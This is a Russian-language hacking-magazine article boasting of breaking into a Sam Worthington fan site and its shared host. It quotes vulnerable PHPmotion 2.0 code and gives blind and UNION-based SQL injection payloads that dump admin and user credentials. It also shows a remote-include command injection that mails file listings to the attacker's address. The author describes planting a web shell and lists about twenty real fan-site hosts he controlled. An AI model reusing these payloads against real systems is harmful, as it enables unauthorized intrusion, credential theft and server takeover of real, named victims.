Содержание статьи
$2.700.000.000 — впечатляющая цифра, не правда ли? Именно столько зеленых президентов собрал на сегодняшний день художественный фильм «Аватар». За этой суммой кроется не только изнурительная работа лучших специалистов мира киноиндустрии, но и «сарафанное радио» многочисленных поклонников синих человечков.
Фанаты создали множество сайтов и блогов, посвященных своим кумирам. Одним из самых успешных проектов такого рода является сайт, посвященный Сэму Уортингтону — sam-worthington. net. Основанный 8 января сего года, ресурс уже сейчас посещают около 30 тысяч уникальных посетителей в месяц, большинство из которых даже и не подозревают, что их личные данные находятся под угрозой :).
Подготовка плацдарма
Забегая немного вперед, скажу, что одним лишь Сэмом Уортингтоном дело не заканчивается. На одной площадке с samworthington. net находятся десятки других популярных фан-сайтов, о которых я узнал лишь в конце взлома :).
Итак, изучение ресурса было начато с анализа главной страницы. Наметанный глаз поклонника WordPress сразу же узнал любимый движок, который, к сожалению, был непробиваемой на тот момент версии 2.9.2 (открываем html-исходник главной и наблюдаем версию в мета-теге Generator). Этот факт меня особо не огорчил, потому что контент сайта прямо-таки манил своим разнообразием.
Следующий обнаруженный движок — «Coppermine Photo Gallery» (samworthington.net/gallery/). Его версия, опять же, не смогла меня порадовать — html-исходник плюнул в меня надписью “<!--Coppermine Photo Gallery 1.4.26 (stable)-->”.
Далее, еще немного походив по страничкам ресурса, я наткнулся на интересную надпись «Powered free by PHPmotion», находившуюся внизу странички videos.sam-worthington.net. Перейдя по предлагаемой ссылке на www.phpmotion.com, я узнал, что этот движок позиционируется как опенсорсный клон YouTube, и что его можно бесплатно скачать.
Завладев исходниками PHPmotion, я сразу же попытался сравнить версии: мою и ту, что находилась на фан-сайте «Джейка Салли». Единственной зацепкой, позволявшей хоть как-то определить версию движка, являлась открытая для просмотра директория images — в ней находились файлы logo.gif и logo.png, на которых отчетливо было написано, что необходимая мне версия кроется за номером 2.0. Так как на официальном сайте PHPmotion находилась уже версия 3.0, пришлось немного погуглить (ссылку ищи в сносках).
Найдя нужные исходники, я немало удивился тому, что там в самом корне присутствовал файлик VERSION.txt с содержимым «PHPmotion Version 2 STABLE - 28 APRIL 2008». Поскольку такой же файл, оказывается, был и на нужном сервере, дальше с раскопками кода можно было не медлить :).
Дырявый phpmotion
Немного покопавшись в исходниках и найдя несколько конструкций вроде следующей в ./audio_selector.php:
<?php
...
$selector_audio_id = mysql_real_
escape_string($_GET['vid']);
...
$selector_sql = "SELECT * FROM audios WHERE
indexer = $selector_audio_id AND approved
='yes'";
...
?>
я, было, обрадовался, но не тут-то было! На запятые и прочие “union select” в переменной $_GET['vid'] реагировал банально встроенный в скрипт IDS, причем исходники фильтра я посмотреть так и не смог, потому что, по всей видимости, он находился в файле ./classes/config.php и был зашифрован утилитой phpShield. Оставалось лишь одно — тупая проверка всех файлов движка на наличие в них конструкций и переменных, на которые фильтр не реагировал.
После непродолжительного анализа нужная мне уязвимость была найдена в файле rate.php:
<?php
...
$rate_video_id =
mysql_real_escape_string($_GET['rate_id']);
$rate_video_rating =
mysql_real_escape_string($_GET['rate']);
...
$flag_sql = "SELECT * FROM rating WHERE
video_id = $rate_video_id AND user_id =
$user_id";
$flag_query = @mysql_query($flag_sql);
$flag_count = @mysql_num_rows($flag_query);
if ($flag_count != 0) {
@mysql_close();
error_redirect(117);//"You have already
rated this video. "
}
else {
...
error_redirect(118);//"You request could
not be completed. "
}
...
?>
В вышеприведенном коде налицо банальнейшая blind SQL-инъекция:
http://site.com/phpmotion20/rate.php?rate_id=-9+or+1=1--&rate=1 true, возвращается хэдер Location:
index.php?code=117
http://site.com/phpmotion20/rate.php?rate_id=-9+or+1=2--&rate=1
- false, возвращается хэдер
Location: index.php?code=118
Далее необходимо было написать простейший эксплойт на основе этой инъекции, что я и сделал (ссылку на сплойт ищи в сносках).
Эксплойт основан на принципе «бинарного поиска» и действует по следующей схеме:
- Логинимся, получаем куку с PHPSESSID;
- Получаем поле username из таблицы admin;
- Получаем md5-хеш пароля админа из поля password.
Внутри
После нескольких минут работы сплойт выдал мне следующие данные: логин admin и md5 хеш 21232f297a57a5a743894a 0e4a801fc3.
Каково же было мое удивление, когда после расшифровки на plain-text.info оказалось, что под этим хешем скрывался пароль “admin” :).
Но удивляться было некогда, так что я залогинился в админку по адресу videos.sam-worthington.net/siteadmin и стал искать другие баги. Одним из таких багов оказалась более полезная, чем предыдущая, SQL-инъекция в файле ./siteadmin/manage.php:
<?php
...
if ($_POST['search'] != "")
{
//if search
$term = mysql_real_escape_string(
$_POST['search']);
$result_sql = "SELECT * FROM
member_profile WHERE user_id =
$term ORDER BY user_name ASC LIMIT
$set_limit, $limit";
$header_title = 'Todays (new)';
}
...
?>
Используя эту инъекцию, я выудил все логины и пароли пользователей системы следующим образом:
-9 union select 1,2,3,4,5,6,7,8,
9,10,11,12,13,14,15,16,17,18,19,
20,21,22,23,concat_ws(0x3a,user_
name,password,email_address),25,26
from member_profile/*
Но полезного в них, опять же, ничего не было. Добив до конца эту скулю, я узнал, что file_priv у текущего пользователя был выключен (так что просмотреть исходники каких-либо файлов на системе с помощью данного бага не представлялось возможным), и что MySQL сервер фан-сайта обладал следующими параметрами:
user() - samworvd_ricarda@ localhost
version() - 4.1.22-standard
database() - samworvd_video
Ничего не оставалось кроме того, как более внимательно продолжить изучение исходников PHPmotion.
Глубокое проникновение
На этот раз мое внимание зацепилось за файл ./uploader_finished.php, который отвечает за загрузку и перекодировку видео. Смотри сам:
<?php
...
$temp_dir = $_REQUEST['temp_dir'];
// Get all the posted values from
the .param file
$_POST_DATA = getPostData(
$temp_dir, $_REQUEST['tmp_sid']);
...
foreach ($_POST_DATA as
$post_key => $post_value) {
if (preg_match("/^upfile_/i",
$post_key)) {
$uploaded_file_name =
$post_value;
...
}
}
...
function getPostData(
$up_dir, $tmp_sid) {
...
$paramFileName = $up_dir .
$tmp_sid . ".params";
$fh = @fopen($paramFileName,
'r');
...
while (!feof($fh)) {
$buffer = fgets($fh, 4096);
list($key, $value) =
explode('=', trim($buffer));
$value = str_replace(
"~EQLS~", "=", $value);
$value = str_replace(
"~NWLN~", "\r\n", $value);
...
$param_array[$key] = $value;
}
...
return $param_array;
}
...
@exec("$path_to_php $convertor $uploaded_file_name> /
dev/null &");// (>/dev/null & part is what sends to
background)
...
?>
Здесь скрипт получает параметры temp_dir и tmp_sid, в которых кроется имя файла с некоторыми параметрами для перекодировки видео. В этом случае ни один из таких параметров никоим образом не проверяется. А теперь, внимание — способ потрошения этого кода :).
1. Заливаем на левый сервер site.com файл с именем, например, test.txt, в нем пишем следующее:
upfile_=test.mp3;ls -la|mail твое_мыло@gmail.
com~NWLN~id
2. Авторизуемся в PHPmotion;
3. Переходим по ссылке: www.videos.sam-worthington.net/uploader_finished.php?temp_dir=http://site.com/test.txt%00;
4. Видим на своем мыле листинг файлов текущей директории нашего фан-сайта.
При выполнении последних пунктов в скрипте происходит следующее:
1. Переменная $paramFileName принимает значение "http://site.com/test.txt" (".params" после нулл-байта отбрасывается);
2. ~NWLN~ в файле test.txt заменяется новой строкой;
3. Переменная $uploaded_file_name берется из test.txt;
4. Запрос в exec принимает следующий вид:
/usr/bin/php /home/site/public_html/phpmotion20/convertor.php test.mp3;ls -la|mail твое_мыло@gmail.com
id> /dev/null &<
Как видишь, все гениальное просто :). Теперь оставалось лишь найти директории или файлы, которые были бы открыты на запись, но... таковых в текущей директории не оказалось. Так как довольствоваться лишь одной админкой видео-раздела фан-сайта Сэма я не хотел, нужно было любыми способами залить свой шелл хоть куда-нибудь в пределах данного сервера.
Веселые соседи
Решив поискать соседей Сэма Уортингтона, я попытался добраться до конфигурационного файла Апача httpd.conf (/usr/local/apache/conf), но здесь снова ждала неудача — он был доступен для чтения только руту (я же имел жалкие права nobody). В данной ситуации мне смог помочь только один из «Reverse IP» сервисов www.yougetsignal.com/tools/web-sites-on-web-server/ и чтение файла /etc/passwd.
Как оказалось, на данном сервере хостится великое множество видео-подразделений известных фан-сайтов зарубежных звезд. Одной из первых открыла объятия для моего шелла Рэйчел МакАдамс (media.rachelmcadams.org). Я залил его в доступную директорию /home/rachelmd/public_html/uploads/avi и рулил множеством фан-сайтов одновременно довольно долгое время.
Вот список наиболее известных ресурсов этого сервера:
- media.aguileraworld.com — Кристина Агилера
- media.bielfan.com — Джессика Биель
- media.clive-owen.org — Клайв Оуэн
- media.jtimberlake.net — Джастин Тимберлейк
- media.kirsten-d.com — Кирстен Данст
- media.shialabeouf.us — Шайя ЛаБаф
- media.tomcruiseforever.com — Том Круз
- media.xfilesitalianfansite.net — Секретные Материалы
- tube.ultimate-avril.com — Аврил Лавин
- videos.a-brody.net — Адам Броуди
- videos.bradpittweb.com — Брэд Питт
- videos.johnkrasinski.net — Джон Красински
- videos.rene-russo.org — Рене Руссо
- videos.twilightfan.fan-sites.org — Сумерки
- www.madonnamedia.fan-sites.org — Мадонна
- www.media.annehathawayfan.com — Энн Хетеуэй
- www.media.christian-bale.org — Кристиан Бэйл
- www.media.johnnydepp-fan.com — Джонни Депп
- www.media.mattdamonfan.org — Мэтт Деймон
- www.media.monicabelluccifan.com — Моника Белуччи
- www.videos.jess-alba.org — Джессика Альба
Немного погуглив по теме, я узнал, что все основные западные фан-сайты располагаются на бесплатном хостинге от fan-sites.org, один из серверов которого я благополучно поимел :).
Хэппи энд
Если ты поклонник творчества какой-либо известной личности, будь то актер или певец, я думаю, что не стоит открывать большое комьюнити, предварительно не позаботившись о его безопасности. Миллионы фанов по всему миру общаются и обмениваются информацией о своих любимцах на базе уязвимых платформ. Так что задумайся: настолько ли необходимо вгонять в краску наших общих кумиров из-за нерадивых поклонников?
Links
- downloads.phpmotion.com/V2/PHPMOTION_PHP5.zip — PHPmotion 2.0
- downloads.phpmotion.com/V3.0/php5/phpmotion.zip — PHPmotion 3.0
- snipper.ru/view/17/phpmotion-2xratephpblind-sqlinjectionexploit/ — PHPmotion 2.x rate.php blind sql injection exploit
- www.phpshield.com — phpShield